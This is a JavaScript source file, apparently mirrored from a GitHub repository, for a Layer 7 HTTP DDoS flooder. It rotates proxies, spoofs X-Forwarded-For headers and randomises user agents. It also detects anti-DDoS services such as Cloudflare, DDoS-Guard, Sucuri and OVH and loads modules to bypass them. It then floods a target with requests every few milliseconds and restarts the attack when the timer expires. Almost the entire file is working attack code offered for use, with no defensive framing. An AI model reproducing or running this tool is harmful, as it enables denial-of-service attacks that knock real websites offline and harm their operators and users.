Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
kenne400k
GitHub Repository: kenne400k/22
Path: blob/main/flood.js
328 views
1
// Global error handling (Ignoring system for helpless error logs)
2
const request = require('request'),
3
cloudscraper = require('cloudscraper'),
4
net = require('net'),
5
URL = require('url'),
6
requestJar = request.jar(),
7
reqCookie = request.defaults({
8
jar: requestJar
9
}),
10
reqBypass = cloudscraper.defaults({
11
jar: requestJar
12
}),
13
randomWords = require('./random-words'),
14
bypasses = require('./bypasses/'),
15
events = require('events'),
16
ignoreNames = ['RequestError', 'StatusCodeError', 'CaptchaError', 'CloudflareError', 'ParseError', 'ParserError'],
17
ignoreCodes = ['SELF_SIGNED_CERT_IN_CHAIN', 'ECONNRESET', 'ERR_ASSERTION', 'ECONNREFUSED', 'EPIPE', 'EHOSTUNREACH', 'ETIMEDOUT', 'ESOCKETTIMEDOUT', 'EPROTO'];
18
19
process.on('uncaughtException', function (e) {
20
if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
21
console.warn(e);
22
}).on('unhandledRejection', function (e) {
23
if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
24
console.warn(e);
25
}).on('warning', e => {
26
if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
27
console.warn(e);
28
}).setMaxListeners(0);
29
30
events.EventEmitter.defaultMaxListeners = Infinity;
31
events.EventEmitter.prototype._maxListeners = Infinity;
32
// Logging:
33
34
global.window = {};
35
36
function randomStr() {
37
38
}
39
40
function INIT(workerData) {
41
logger('ATTACK STARTING :: ', workerData.target, {
42
proxies: workerData.proxies.length,
43
opt: workerData.opt
44
});
45
46
// STATE:
47
48
const STATE = {
49
running: false,
50
protection: false,
51
expire: 0,
52
last: {},
53
firewall: false,
54
firewalls: [],
55
available: ['ddosguard', 'cloudflare', 'blazingfast', 'sucuri', 'stormwall', 'ovh', 'pipeguard']
56
}
57
58
const PROPS = []; // All of the settings combined;
59
global.l7 = {};
60
l7.target = workerData.target;
61
l7.parsed = URL.parse(workerData.target);
62
l7.mode = workerData.mode;
63
if (workerData.opt) {
64
l7.opt = workerData.opt;
65
} else {
66
l7.opt = {
67
method: "GET", // HTTP METHOD
68
body: false // DEFAULT REQUQEST'S BODY = NO BODY;
69
}
70
}
71
72
var ATTACK, LOADER, BYPASS = false;
73
74
function initMode() {
75
switch (l7.mode) {
76
case 'proxy':
77
LOADER = flooder.init_proxy;
78
ATTACK = flooder.proxy;
79
break;
80
case 'request':
81
LOADER = flooder.init_request;
82
ATTACK = flooder.request;
83
break;
84
case 'websocket':
85
LOADER = flooder.init_ws;
86
ATTACK = flooder.ws;
87
break;
88
case 'raw':
89
ATTACK();
90
l7.raw = true;
91
break;
92
}
93
}
94
95
if (l7.mode == 'raw') {
96
ATTACK = function () {
97
let dua = flooder.randomUA;
98
STATE.running = true; // From now and so, script considered running;
99
STATE.expire = Date.now() + workerData.duration;
100
101
setTimeout(() => {
102
logger('Attack finished');
103
process.exit(4);
104
105
}, STATE.expire - Date.now());
106
logger('Starting proxyless :: ', l7.target);
107
setInterval(() => {
108
reqCookie({
109
method: l7.opt.method,
110
url: l7.target,
111
headers: {
112
'Cache-Control': 'max-age=0',
113
'Upgrade-Insecure-Requests': 1,
114
'User-Agent': dua,
115
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
116
'Accept-Encoding': 'gzip, deflate, br',
117
'Accept-Language': 'en-US,en;q=0.9'
118
}
119
});
120
}, 1);
121
}
122
initMode();
123
}
124
125
class Bypass {
126
constructor(config) {
127
initMode();
128
logger('Bypass instance was made :: ', l7.firewall);
129
if (l7.firewall) {
130
if (STATE.available.includes(l7.firewall[0])) {
131
BYPASS = this.load(l7.firewall[0]);
132
} else {
133
BYPASS = this.load('browser_engine');
134
}
135
136
if (l7.firewall[1] == false && !BYPASS) {
137
workerData.proxies.forEach(async p => {
138
let dobj = {
139
proxy: 'http://' + p,
140
userAgent: flooder.randomUA
141
};
142
143
await cloudscraper({
144
url: l7.target,
145
method: "GET",
146
proxy: dobj.proxy,
147
jar: true,
148
followAllRedirects: true,
149
maxRedirects: 20,
150
headers: {
151
'User-Agent': dobj.userAgent
152
}
153
}, async (err, res) => {
154
if (err) return false;
155
if (res.request.headers.cookie) {
156
dobj.cookie = res.request.headers.cookie;
157
}
158
await LOADER(dobj);
159
});
160
})
161
return;
162
}
163
164
workerData.proxies.forEach(p => {
165
let dobj = {
166
userAgent: flooder.randomUA,
167
proxy: 'http://' + p
168
}
169
BYPASS(dobj.proxy, dobj.userAgent, async cookie => {
170
dobj.cookie = cookie;
171
await LOADER(dobj);
172
});
173
});
174
} else {
175
workerData.proxies.forEach(p => {
176
let dobj = {
177
proxy: 'http://' + p,
178
userAgent: flooder.randomUA,
179
cookie: false
180
};
181
reqBypass({
182
method: "GET",
183
url: l7.target,
184
proxy: dobj.proxy,
185
headers: {
186
'Cache-Control': 'max-age=0',
187
'Upgrade-Insecure-Requests': 1,
188
'User-Agent': dobj.userAgent,
189
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
190
'Accept-Encoding': 'gzip, deflate, br',
191
'Accept-Language': 'en-US,en;q=0.9'
192
}
193
}, async (err, res, body) => {
194
if (err) return false;
195
if (res.request.headers.cookie) {
196
dobj.cookie = res.request.headers.cookie;
197
}
198
await LOADER(dobj);
199
});
200
});
201
202
}
203
}
204
205
load(bypassModule) {
206
return bypasses[bypassModule]();
207
}
208
}
209
210
function coinFlip() {
211
return (Math.floor(Math.random() * 2) == 0);
212
}
213
214
randomByte = function () {
215
return Math.round(Math.random() * 256);
216
}
217
218
randomIp = function () {
219
var ip = randomByte() + '.' +
220
randomByte() + '.' +
221
randomByte() + '.' +
222
randomByte();
223
if (isPrivate(ip)) return randomIp();
224
return ip;
225
}
226
227
isPrivate = function (ip) {
228
return /^10\.|^192\.168\.|^172\.16\.|^172\.17\.|^172\.18\.|^172\.19\.|^172\.20\.|^172\.21\.|^172\.22\.|^172\.23\.|^172\.24\.|^172\.25\.|^172\.26\.|^172\.27\.|^172\.28\.|^172\.29\.|^172\.30\.|^172\.31\./.test(ip);
229
}
230
231
232
privateIps = [
233
'10.0.0.0',
234
'10.255.255.255',
235
'172.16.0.0',
236
'172.31.255.255',
237
'192.168.0.0',
238
'192.168.255.255'
239
];
240
241
publicIps = [
242
'0.0.0.0',
243
'255.255.255.255',
244
];
245
246
class Flood {
247
cosntructor(config) {
248
249
}
250
251
get randomReferer() {
252
return workerData.referers[~~(Math.random() * workerData.referers.length)]
253
}
254
255
get randomProxy() {
256
return 'http://' + workerData.proxies[~~(Math.random() * workerData.proxies.length)]
257
}
258
259
get randomUA() {
260
return workerData.userAgents[~~(Math.random() * workerData.userAgents.length)]
261
}
262
263
get randomSpoof() {
264
return `${randomIp()}, ${randomIp()}`;
265
}
266
267
get realize() {
268
return l7.target.replace(/%RAND%/g, randomWords()).replace(/%RAND2%/g, randomStr());
269
}
270
271
init(e) {
272
e.url = l7.target.replace(/%RAND%/g, randomWords());
273
if (l7.opt.body && l7.opt.body.indexOf("%RAND%") !== -1) {
274
e.body = l7.opt.body.replace(/%RAND%/g, randomWords());
275
}
276
if (l7.opt.cookie) {
277
l7.opt.cookie = l7.opt.cookie.replace(/%RAND%/g, randomWords());
278
if (e.cookie && e.cookie.length >= 4) {
279
e.cookie += '; ' + l7.opt.cookie
280
} else {
281
e.cookie = l7.opt.cookie
282
};
283
}
284
return e;
285
}
286
287
init_proxy(c) {
288
if (c.proxy.indexOf('@') !== -1) {
289
//Requires authentication:
290
return flooder.init_request(c);
291
}
292
c = flooder.init(c);
293
c.proxy = c.proxy.split('://')[1].split(':');
294
ATTACK(c);
295
}
296
297
init_request(d) {
298
d = flooder.init(d);
299
d.url = d.url || l7.target;
300
d.method = l7.opt.method;
301
d.timeout = 10e3;
302
d.insecure = true;
303
d.gzip = true;
304
d.headers = {
305
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*;q=0.8',
306
'Accept-Encoding': 'gzip, deflate, br',
307
'Accept-Language': 'en-US,en;q=0.9,he-IL;q=0.8,he;q=0.7,tr;q=0.6',
308
'Cache-Control': 'max-age=0',
309
'Pragma': 'no-cache',
310
'Referer': (coinFlip() ? flooder.randomReferer : d.url),
311
'Upgrade-Insecure-Requests': 1,
312
'User-Agent': d.userAgent,
313
'X-Forwarded-For': flooder.randomSpoof
314
}
315
if (d.cookie) {
316
d.headers['Cookie'] = d.cookie;
317
}
318
if (l7.opt.headers) {
319
Object.keys(l7.opt.headers).forEach(aHeader => {
320
d.headers[aHeader] = l7.opt.headers[aHeader];
321
});
322
}
323
d.proxy = d.proxy;
324
PROPS.push(d);
325
}
326
327
proxy(a) {
328
let stop = Date.now() + 120e3,
329
req = () => {
330
if (Date.now() >= stop) {
331
if (netSock.readable && !netSock.destroyed) {
332
resetted ? false : ATTACK(a), resetted = true, netSock.end();
333
netSock.end();
334
}
335
return netSock.destroy();
336
}
337
(netSock.writable && !netSock.destroyed) ? netSock.write(`${l7.opt.method} ${flooder.realize} HTTP/1.1\r\nHost: ${l7.parsed.host}\r\nConnection: Keep-Alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate, br${a.cookie ? ('\r\nCookie: ' + a.cookie) : ''}\r\nX-Forwarded-For: ${flooder.randomSpoof}\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nUser-Agent: ${a.userAgent}\r\n\r\n${a.body || l7.opt.body || ""}`): netSock.end();
338
}
339
var resetted = false,
340
netSock = {};
341
342
netSock = net.connect({
343
host: a.proxy[0],
344
port: a.proxy[1]
345
}, async () => {
346
for (let j = 0; j < a.proxy[0].length * 6; j++) {
347
await req();
348
}
349
netSock.on('data', async () => {
350
resetted ? false : ATTACK(a), resetted = true;
351
netSock ? (await req()) : false;
352
});
353
}).once('disconnect', () => {
354
resetted ? netSocket.end() : ATTACK(a), resetted = true;
355
return;
356
});
357
}
358
359
request(b) {
360
reqCookie(b);
361
}
362
}
363
364
// Initialize the flooding system: ( After bypass received cookies, start attacking ~ )
365
366
let flooder = new Flood({
367
threads: 1
368
});
369
370
class starter {
371
init(threads) {
372
// Setup flooding interval;
373
374
if (l7.opt.ratelimit) {
375
let aprop = 0;
376
377
function sendreq() {
378
reqCookie(PROPS[aprop]);
379
aprop++;
380
if (aprop >= PROPS.length) aprop = 0;
381
}
382
setInterval(sendreq, 30); // 30ms fight rate limits. Loop through each proxy, more proxies less traffic per ip.
383
} else {
384
function randomreq() {
385
reqCookie(PROPS[~~(Math.random() * PROPS.length)]);
386
}
387
for (let v = 0; v < threads; v++) {
388
setInterval(randomreq, threads);
389
}
390
}
391
}
392
}
393
394
let Starter = new starter();
395
396
// Initialize Auto protection detection:
397
398
class AutoDetect {
399
constructor(cb) {
400
logger("New instance of auto detector was made;", l7.target);
401
this.cback = cb;
402
}
403
404
detect() {
405
function detectplz() {
406
if (STATE.running) return false;
407
let dproxy = flooder.randomProxy,
408
dUA = flooder.randomUA;
409
request({
410
method: "GET",
411
url: l7.target,
412
gzip: true,
413
followAllRedirects: true,
414
maxRedirects: 20,
415
agentOptions: {
416
ciphers: 'ECDHE-ECDSA-AES128-GCM-SHA256'
417
},
418
timeout: 80e3,
419
proxy: dproxy,
420
headers: {
421
'Connection': 'keep-alive',
422
'Cache-Control': 'no-cache',
423
'Pragma': 'no-cache',
424
'Upgrade-Insecure-Requests': 1,
425
'User-Agent': flooder.randomUA,
426
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
427
'Accept-Encoding': 'gzip, deflate, br',
428
'Accept-Language': 'en-US,en;q=0.9',
429
'X-Forwarded-For': flooder.randomSpoof
430
}
431
}, (err, res, body) => {
432
if (STATE.running) return false;
433
if (err || !res || !body || res.headers['proxy-connection'] || body.indexOf('Maximum number of open connections reached') !== -1 || body.indexOf('<title>ERROR: The requested URL could not be retrieved</title>') !== -1 || body.indexOf('<title>This is a SOCKS Proxy, Not An HTTP Proxy</title>') !== -1 || body.indexOf('<title>Tor is not an HTTP Proxy</title>') !== -1) {
434
return; // Proxy failed, or an error occured, retry.
435
}
436
437
if (res.headers['content-length']) {
438
if (res.headers['content-length'] >= 52428800) {
439
return process.exit(8);
440
}
441
}
442
443
if (res.headers.server == 'cloudflare') {
444
if (res.statusCode == 503 && (body.indexOf("Checking your browser before accessing</") !== -1 || body.indexOf("document.getElementById('challenge-form');") !== -1)) {
445
//Cloudflare UAM Detected:
446
STATE.firewall = ['cloudflare', 'uam'];
447
} else if (res.statusCode == 403 && (res.headers['cf-chl-bypass'] || body.indexOf('<noscript id="cf-captcha-bookmark" class="cf-captcha-info">') !== -1)) {
448
//Cloudflare Captcha Detected:
449
if (res.headers['cf-chl-bypass']) {
450
STATE.firewall = ['cloudflare', 'captcha', true];
451
} else {
452
STATE.firewall = ['cloudflare', 'captcha', false];
453
}
454
} else if (res.statusCode == 403) {
455
reqBypass.get({
456
url: l7.target,
457
proxy: dproxy,
458
headers: {
459
'Cache-Control': 'max-age=0',
460
'Upgrade-Insecure-Requests': 1,
461
'User-Agent': dUA,
462
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
463
'Accept-Encoding': 'gzip, deflate, br',
464
'Accept-Language': 'en-US,en;q=0.9'
465
}
466
}, (err, res, body) => {
467
if (err && err.name == 'CaptchaError') {
468
STATE.firewall = ['cloudflare', 'captcha', false];
469
}
470
});
471
} else {
472
STATE.firewall = ['cloudflare', false]
473
}
474
} else if (res.headers['server'] == 'Sucuri/Cloudproxy' || body.indexOf("{},u,c,U,r,i,l=0") !== -1 && res.headers['x-sucuri-id'] && body.startsWith('<html><title>You are being redirected...</title>')) {
475
STATE.firewall = ['sucuri', 'jschl'];
476
} else if (body.indexOf("<!DOCTYPE html><html><head><title>DDOS-GUARD</title>") !== -1) {
477
STATE.firewall = ['ddosguard', '5sec'];
478
STATE.ratelimit = true;
479
} else if (res.headers['set-cookie'] && res.headers['set-cookie'][0].startsWith('__ddg_=')) {
480
STATE.firewall = ['ddosguard', 'proxy'];
481
} else if (res.headers.server && res.headers['x-hw'] && res.headers.server == 'fbs' && res.headers['x-hw'].startsWith('1')) {
482
STATE.firewall = ['stackpath', false];
483
} else if (res.statusCode == 200 && ['nginx', 'openresty'].indexOf(res.headers.server) !== -1 && res.headers['set-cookie']) {
484
if (res.headers['set-cookie'][0].startsWith('rcksid=')) {
485
STATE.firewall = ['blazingfast', '5sec'];
486
} else if (res.headers['set-cookie'][0].startsWith('BlazingWebCookie=')) {
487
STATE.firewall = ['blazingfast', '5sec2'];
488
}
489
} else if (body.indexOf(';document.cookie="CyberDDoS_') !== -1) {
490
if (body.indexOf('<div w3-include-html="/5s.html"></div>') !== -1) {
491
STATE.firewall = ['cyberddos', '5sec'];
492
} else {
493
STATE.firewall = ['cyberddos', 'silent'];
494
}
495
} else if (res.headers['x-firewall-protection'] && res.headers['x-firewall-protection'] == 'True' && res.statusCode == 200 && res.headers['x-firewall-port'] && res.headers.expires == '0') {
496
STATE.firewall = ['stormwall', 'js'];
497
} else if (res.headers.server && res.headers.server.startsWith('nginx') && res.statusCode == 589 && res.headers['set-cookie'] && res.headers['set-cookie'][0].startsWith('nooder_t=')) {
498
STATE.firewall = ['nooder', 'cookie'];
499
} else if (res.statusCode == 200 && body.startsWith('<html><body><script>setTimeout(eval(function(p,a,c,k,e,d){e=function(c){') && body.endsWith('Please enable JavaScript and Cookies in your browser.</p></noscript></body></html>')) {
500
STATE.firewall = ['ovh', 'js'];
501
} else if (res.statusCode == 200 && body.indexOf('function setCookie() {document.cookie = "PipeGuard=') !== -1 && body.startsWith('<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Human Verification</title>')) {
502
STATE.firewall = ['pipeguard', 'SetCookie'];
503
}
504
STATE.firewalls.push(STATE.firewall);
505
STATE.last.body = body;
506
STATE.last.res = res;
507
});
508
}
509
let tryrun = setInterval(() => {
510
STATE.running ? clearInterval(tryrun) : setImmediate(detectplz);
511
if (STATE.firewalls.length >= 1e3) {
512
//After getting protection detected results; We start flooding and bypassing:
513
STATE.running = true; // From now and so, script considered running;
514
STATE.expire = Date.now() + workerData.duration;
515
516
if (l7.mode == 'request')
517
{
518
let tryINIT = () =>
519
{
520
if (PROPS.length > 0)
521
{
522
Starter.init(4);
523
}
524
else
525
{
526
setTimeout(tryINIT, 1e3);
527
}
528
}
529
tryINIT();
530
}
531
setTimeout
532
(
533
() =>
534
{
535
536
console.log("\x1b[31mAttack finished wait...\x1b[0m");
537
// logger('Attack finished');
538
// process.exit(4);
539
Starter.init(4);
540
console.log("\x1b[35mAttack starting again.\x1b[0m");
541
542
},
543
STATE.expire - Date.now()
544
);
545
546
clearInterval(tryrun);
547
548
for (var i = 0; i < STATE.firewalls.length; i++)
549
{
550
if (Array.isArray(STATE.firewalls[i]))
551
{
552
switch (STATE.firewall[0])
553
{
554
case 'cloudflare':
555
STATE.firewall[1] = STATE.firewalls[i][1] !== 'captcha' ? STATE.firewalls[i][1] : STATE.firewall[1];
556
if (l7.mode !== 'request' && ['captcha', 'uam'].indexOf(STATE.firewall[1]) !== -1) {
557
l7.mode = 'request';
558
}
559
if (STATE.firewall.length == 3) {
560
if (!STATE.firewall[2]) {
561
console.warn('[cloudflare-bypass]: The target is not supporting privacypass, now closing rip...');
562
process.exit(34);
563
}
564
}
565
break;
566
case 'ddosguard':
567
STATE.firewall[1] = STATE.firewalls[i][1] !== 'proxy' ? STATE.firewalls[i][1] : STATE.firewall[1];
568
break;
569
}
570
if (!STATE.firewall) STATE.firewall = STATE.firewalls[i];
571
}
572
}
573
l7.firewall = STATE.firewall;
574
this.cback() // Start bypassing :: After bypassed start attacking using "ATTACK" function;
575
} else {
576
// logger(STATE.firewalls.length);
577
}
578
});
579
}
580
}
581
582
if (!l7.raw) {
583
let Detection = new AutoDetect(() => {
584
new Bypass();
585
});
586
587
Detection.detect();
588
}
589
}
590
591
let masterCallbacks = {
592
0: res => { new INIT(res); }
593
}
594
595
function ID() {
596
return Math.random().toString(36).substr(2, 9);
597
}
598
599
process.on('message', msg => {
600
let dfunc = masterCallbacks[0];
601
if (dfunc) {
602
dfunc.call(null, msg);
603
setTimeout(() => {
604
delete masterCallbacks[0];
605
}, 5e3);
606
}
607
});
608
609
global.Fc = (packet, callback) => {
610
let op_id = ID(),
611
dmsg = {
612
data: packet
613
}
614
if (callback) {
615
dmsg._ = packet._ || op_id;
616
masterCallbacks[op_id] = callback;
617
}
618
process.send(dmsg);
619
}
620